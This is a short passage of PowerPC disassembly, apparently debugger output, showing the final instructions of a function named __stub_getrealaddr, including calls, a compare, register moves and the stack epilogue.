<__stub_getrealaddr+112>: bl 0x3ae0 0x0000357c <__stub_getrealaddr+116>: cmpwi r3,0 0x00003580 <__stub_getrealaddr+120>: bne- 0x3588 <__stub_getrealaddr+128> 0x00003584 <__stub_getrealaddr+124>: stbx r3,r29,r30 0x00003588 <__stub_getrealaddr+128>: mr r4,r28 0x0000358c <__stub_getrealaddr+132>: mr r3,r29 0x00003590 <__stub_getrealaddr+136>: bl 0x3b00 0x00003594 <__stub_getrealaddr+140>: bl 0x3b20 0x00003598 <__stub_getrealaddr+144>: addi r1,r1,144 0x0000359c <__stub_getrealaddr+148>: lwz r0,8(r1) 0x000035a0 <__stub_getrealaddr+152>: lmw r28,-16(r1) 0x000035a4 <__stub_getrealaddr+156>: mtlr r0 0x000035a8 <__stub_getrealaddr+160>: blr